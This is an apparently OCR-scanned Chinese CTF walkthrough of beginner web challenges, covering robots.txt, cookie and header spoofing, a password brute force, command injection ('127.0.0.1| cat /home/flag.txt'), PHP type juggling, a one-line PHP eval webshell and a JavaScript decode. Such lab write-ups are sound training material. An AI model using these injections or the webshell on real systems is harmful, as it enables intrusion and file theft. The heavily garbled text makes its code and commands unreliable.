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0x02robots
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User-agent: *
Disallow:
Disallow: flag_ls_h3re.php
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</head>
<body>
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<?php
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< fbody>
< fhtml>
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1 BET / HTTE/1.1
2 Heamt: 220.248.52.133:5770%
T Umec-hgent: MozillasS.0 (Windows BT 10.0:
Firefox/32.0
hocept: text/himl,applicacionfubiel+iml, application/xml g=0.8, */* q=0.8
Aeoepb-Language: th-CW,zh:g=0.0,en-15q=0.5 en:q=0.1
& hocept-Encoding: gzip, deflsts
T DET: 1
cennesticn: cloRe
3 Upgrade-Insecuce-Requests: 1

WOWES: cv:SZ.00 Geckos/20100101
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Date: Frl, 25 Sep 2020 11:55:1F oMT
1 Secwer: Apaches2.4.7 (Uhuntul
¥-Powered-By: PHESS.5.5-lubuntud 2@
Jet=Cookie: look=here=cockle.php
Vaty: Rocept-Encoding
Contsnt-Length: 417
Conpectlon: close
Content-Typ#: Lext/hTnl
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2 eheads
13 <meta chacset=®UTE-0%:
4 <titlex
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GET feookie.php HTTE/L.1

Host: ZI0.248.32.133:3770%

lagE-Agent: Moz a/5.0 (Wiedows NT 10.0¢
Firefoxs52.0

Acoept: text/himl,application/xhiml+xml, application/aml;g=0.8, */*ig=0.8
Accept-Language: Th-ci,zhige0. 8, en-Us;q=0.5&n;q=0.3

Accept-Encoding: gzip, deflate

DHT: 1

1 Connection: clome

Upgrade- Irmecure-Fequests: 1

BoWs4; rv:5l.0) Gecko/20100101
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& Vary: Accepr-Encodlng
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§ Comnectice: close
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INT = = @ S0L BASICS- LINION BASED- ERROF/DOLUBLE QUERY- TOODLS- WAF BYPASS- ENCODING+ HTML- ENCRYPTIOM- OTHER- M55 LFl-
@ load URL |

& SpitURL
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<html>
<head>
<meta charset="UTF-87>
<titler—FHERE R A/ titler
<link href="http://libs. baidu. com/bootstrap/3. 0. 3/css/bootstrap. min. ess” rel="stylesheet”™ />
<style>
bady |
margin-left:auto;
margin-right:auto;
margin-TOP: 200PX;
width:20em;

</style>
< head>
<“hody>
Chy— AR AR H] b

<form action="" method="post” >
<input disabled class="htn btn-defanlt” atyle="height:50px;width:200px;” type="submit” [N EICTS
</ form>

< /body>
</html>

2 R 4B IERS F posti Rz auth=flag, 75 %lflag

INT ~ = @ S0L BASICS: UNION BASED- ERROR/DOUEBLE QUERY- TOOLS- WAF BYPASS. ENCODING- HTML: EMCRYPTIOM- OTHER- XS5+ LFI
e Load URL fl-tiew—murce:h‘ltp:ﬂzzﬂidgjl1 13462047

I Split URL

*  Execute

T " =
I Post data [ ] Referrer 48 OxHEX 3 4K %URL 3 F BASEGS 3B insert string to .'{'p&?rc] |—.fr;sc‘n rcp.l‘rcr'.';lgsr_rr.ﬂgi [] Replace Al 2 -
Post data [auth=flag

BerengEr - Servicess | Checking hitpy//220.249.52.133..

<html>
<head>
<meta charset="UTF-8">
<title>— A BER AR titler
<link href="http://1ibs. baidu. com/'bootstrap/3. 0. 3/css/bootstrap. min. css” rel="stvlesheet” />
<style>
body {
margin-left:auto;
margin-right:auto;
margin-TOP: 200PX;
width:20em;

I
</styler
</ head>
‘hody>
<h3>— A HEH AT HL</h3>

<form action="" method="post” >

¢input disabled class="htn btn-default” style="height:50px;width:200px;” type="submit” value="flag” name="auth” />
¢/ Tor

ha i
</body>
</html >
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please login as admin

2. FHbp R ERY, #199123456
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M I Intruder attack 4

@ fidmut it BF A
'tml:andernemecrmepa\-lm_m Target ]Pﬂﬂ'ﬁm! IP-_ll:-ds TOphm- I
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L—’ x| Rewest | Responss |
.I.W"wl Og gl
_m Params T Haaders I et I
o | ECST /check.php MTTE/L.L E
2 Homt: 220.749.52.133:50252
SRS 1 Dmer-Agent! Mozilla/5. 0 [Wimdows WT 10.0; BOWEd; ©v:S2.0) Gecks/20100101 Firefow/s2.0

i Accepr: text/htal application/xhetml+nl, application/mliq=0.5%, */%;q=0_08
Rocept-Language: th-cH,zhige0.0,en-05:q=0.5,en:q=0.3
— ¢ Recepr-Bncodimg: gzip, deflate
Feferec: hitp://I20.248.52.133:50752/
@ £ G0,k i P Cockie: logk-hers=cookis.php
¥ DNT: 1
W ou Can define FURS 10 peToim vad 10 Connection ) close
11 Dpgrade- Insecute-Requests: 1
2 Content-Type: application/s-www-fora-urlencoded
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3. & %13 %lflag
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0x07command_execution
NFB T A ping3h i, (B8 Swaf X i VxR Ak R, fREiE A,

1.7 Lhping127.0.0.1, WX ¥ M4

command execution X

— ¢ @ © & 220.249.52.133:52514

B xmeEnits @ HFLE O EEm £ BmE BOF @ HTLE B BE

PING

PING

ping -c 3 127.0.08.1

PING 127.8.8.1 (127.8.8.1) 56(84) bytes of data.

64 bytes from 127.8.8.1: icmp_seq=1 ttl=64 time=8.859 ms
64 bytes from 127.8.8.1: icmp_seq=2 ttl=64 time=8.855 ms
64 bytes from 127.6.8.1: icmp seqg=3 ttl=64 time=8.853 ms

-- 127.8.9.1 ping statistics ---
3 packets transmitted, 3 received, ©% packet loss, time 1999ms
rtt min/avg/max/mdev = 8.853/8.855/0.059/0.0089 ms

#1i%127.0.0.1| find / -name "flag*"

F=| pal command execution X

& C © © & 220.249.52.133:52514

Bxamesds @ w3t B EEMLE & s&nE B5aF @ FLE 53

PING

127.0.0.1| find / -name "flag.txt"

PING

ping -c¢ 3 127.0.8.1| find / -name "flag.txt"
/home/flag.txt

#®RA /home/flag.txt

2.#1%127.0.0.1| cat /home/flag.txt
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& c @ © & 220.249.52.133:52514

B ydismts @ #FLE [ xEAMLE & 85k 5ar @ 3l

PING

2.127.0.0.1|cat /home/flag.txt

PING

ping -c 3 2.127.0.0.1|cat /home/flag.txt
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NPT RphpRREFHIIES, TRMBE REIZES T JU4Tphpfiid.
1 ARG i, REIERRD, HiggetiER ?a=0a&b[]=



\5 C ® © & 220.249.52.133:43052/?a=0a8b][]=
B xamErss @ #HiFEbsn BysmmiE O BamE BCF @ #Fbi Bysmmu | () e

<{?php
show_source( FILE ):
include ("config. php”) ;
$a=@$ GET[' a’ ]:
$b=@$_GET['b’ ];
if($a==0 and $a){
echo $§flagl;

if (is_numeric ($b)) {
exit();

if ($b>1234) {
echo $flag2:

2
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2R ¥ER R, HHUPOST 5 ABEE R — 4 b E A2 &

FH K IR00 ¥E 285 38 post b=2



POSTRGET X+

€ (O 220.249.52.133:48854/7a=1 s 0% ¢ @ Qg W a
@z2E~ &lookies~ » (55~ =~ @MEK- @FEEe~ EHbmE- SiEt~ S EH- ATE- BSRELS- L s

INT v = & SQLBASICS: UMIOM BASED+ ERROR/DOUBLE QUERY= TOOLS+ WAF BYPASSs ENCODINGs HTML- ENCRYPTIOM: OTHER= XSS L
@ Load URL [httpy//220.249.52.133:48854/%a=1

& splitURL

vl Execute

Postdata [ ] Referrer 4 OxHEX 3B % %URL 3B & BASEGS 3B | /nsert string to replace | Insert replacing string
Post data )

AMTCREFT - Services | Checking hitp://220.249.52.133..
IBAHGETATURRZ— & Ha,EN1HIRE
IBALAPOST LT BE BRI — MR /Ib,(E/2RIEE
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3.5 Flflag
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OxOaxff_referer

X& M & v/ 7 He e xffRireferers@ AT ADy & i o

1R IE I FipHuht i 4 123.123.123.123, Ebp B IR INXFF

[ummm rtarg! Tm Intseer M Sequences Tuum '[ Carrguaier IEiem!ef i-wojath)uuu ]'um aplions ]

1x [z = Jaa] - )

# | [ ma < | e F - hetp:/i220.249,52
HES Lol
[;lplmms deerslha:li IREI lhaduslmm

I GET / HTTRAL1.1
HosT: 2I0.249.52.133:50852
User-Rgent: Mozllla/S.0 (Windows BT 10.0: WOWE4: tv:SI.0) Gecko /I0L0010L
Firelox/52.0
4 Rccept: text/html,application/xhtmléxml,application/xmlig=0.9,%/%;g=0.8
5 Rhcoept-Language: zh-CN,zhig=0.0,en-08:g9=0.5,en;q=0.3
& hccept-Encoding: gzip, deflate
Cookle: look-here=cocklie.php
¥=Forwarded=For: 133.1I13.123.1323
* DNT: 1
Conpection: close
pgrade-Insecure-Requests: 1

e

A= Ehitips. iwww.google.com

2 B IER R LK E https://www.google.com, BP#ireferers#
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Emlm! Hea
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L GET / HTTESL.1l

2 Hest: 220.240.52.133:50852

1 User-Agent: Mozilla/5.0 (Windows NT 10.0; BCEEQ: Tv:52.0) Gecko 20100101
Firefox/52.0

4 hecept: text html,application/shtml+snl, application/sml: q=0.9, % q=0.0

5 hocept=Language: zh=CH,zhiq=0.3,en=U3;q=0.5,en:q=0.3

& hocept-Encoding: gzip. detlate

7 Cookie: lock-here=cookie.php
K-Forwabded-For: 123.123.123.123

5 referer:hteps://we. google com |

10 DNT: 1

13 Cenmestlon: clese

1% Upgrade-Insecure-Fequests: 1

3. Flag?\J:
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OxObwebshell

e

cyberpeace(5d49ubdbeSasT7aIET S 1494657 2436)

N EE T php—A)1E, 5 EIRA A, IF R El#Eindex.php & .
WA R R 2 Fwebshellid ? <?php @eval($_POST['shell);?>

=R TIER, #i% Ashell.

[l 3220 249. 62, 133 +
4 1]
B http://220. 249,52, 133:48133/ -1 0.0.0.0 20200925 20:... B2 =l
HE - <THADOG/T. . . 2020-08-23 18:. .. -
L] <THADOS/T. .. 2020-08-23 18:. .. = '
NIl ¢ tp - /22D, 249.52.133:48133/] [heIT
PH Eﬂ= <T>MYSQLL 2020-08-23 18:...
#E: |
e = [oEEva) =|[ememz | e
3EREEE XM A Fflag.txt.
Ol 21220, 249.52. 133 +
2 fvar/wwn/hinl/ v ER 2!
220.249.52.133 BF(0). 32tk (2) EF Bial Fh Bt BE
B/ B flag txt 2020-09-25 12:23:21 44 0664
= ggm | ] index. php 2018-09-27 04:02:04 539 0664

-~ [
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220.249.52. 133

(1
A

(C220.249.52. 133
Fvar foww/himl/flag. txt

OxOcsimple_js
INFRIT —AMTL, BE—BRANEL. (Flaghk 4 Cyberpeace{xoo0oocod )
I

> & @ H view-source hiipy/220.249.52.133:47476/

B rERGEs @ wELR DapEe O aseE @or QEFER DegEs Ceses - oo, Een oy EEE s Qe -8 wun [J sm00com-Es.

itlexJs</vitle>
cript type="text/javascript™»
netion dechiffre(pass_ench [
var pass = ~70, 65, 85, 88, 32, B0, 65, B3, B3, 7, 79, 82, 64, 32, 72, 65, 72,667
var tab = pass_enc.split(’.');
var tab? = pass. split(’,”)ivar L6 k1=0,ma.0,p = 771 = 0; ] = tab. length;
k=1+ {1+ {n=0):
n = tab2. length;
forli = fo=00; i < {k = = nd; i++ Mo = tabli-1]:p += String. fronCharCode (o = tab2[i])};

ifli == 5)break;}

Fordi = {o=0); i < (k= j=n); i+ }{
o = tabli-1];
if(i » 5 &k i< k-1)

p += String fromCharCods (o = tab2[i]});
]
p *= String. fromCharCode {tab2[17]);
pass = p relurn pass;

ring[“fronCharCode”] (dechiffre(

= window, pronpt {' Enter password' ) ;
art( dechiffreih) };

[

+

B

noons
(iR LR

»

MEERTEE, AREEEN, KIFR S (LR 2R EN)cybercheff# il /5 15 2| # 14786 0sErtk 12

c @ O file/yDACTF Mocl/Crypto/CyberChed v8.21.0/CyberChef v3.21 0Lhtmi¥recipe=From Hex[\\<)From Decimal{'Cor =

B amEme @ LR B mmEs o 8neE BRoF @SFHE Bommms | ) eepes |

oo, @eE-uF Aos s Oese - Bex B S0 EL.

E + in@0De s =

» [ EORE RS
Optiors 08 About / Support (G

Wersion 5.21.0 Last build: 3 manths ago - v3 supports multiple inputs and a Node AP allowing you o program with CyberCh
L chart: 100
. - lesgth; jdd
Operations Recipe Bm i Input ek inga +Dhsam=
Soarch ' H & i YIS EE e W35 36 e\ X35\ x 34\ 2 e\ AT I B2 e 3 U3 1 3G 2 e \ 36\ 35 x2e \ 3T\ w31 34
T i 2L XL BB X2 3L\ 8 X T X2 Va3 R BB N2 AR TS 30
Favourites * Diadimit
e
T Basetd
From Basebd From Decimal & n
_ Difimites
o Hex Comma D Support sigrad values
From Hex
To Hexdump

From Mexdump

URL Decode
Output
Requlsr expressian
TEEDsErtkll
Entropy
Fork

Flag’hy Cyberpeace{7860sErtk12}

RPN, HFERCNERZEIGHER.. RIWKE, f8%. e, SOk BR.

{E#: zs[CTF#I%:#]

S5IH, ZEERREREEN
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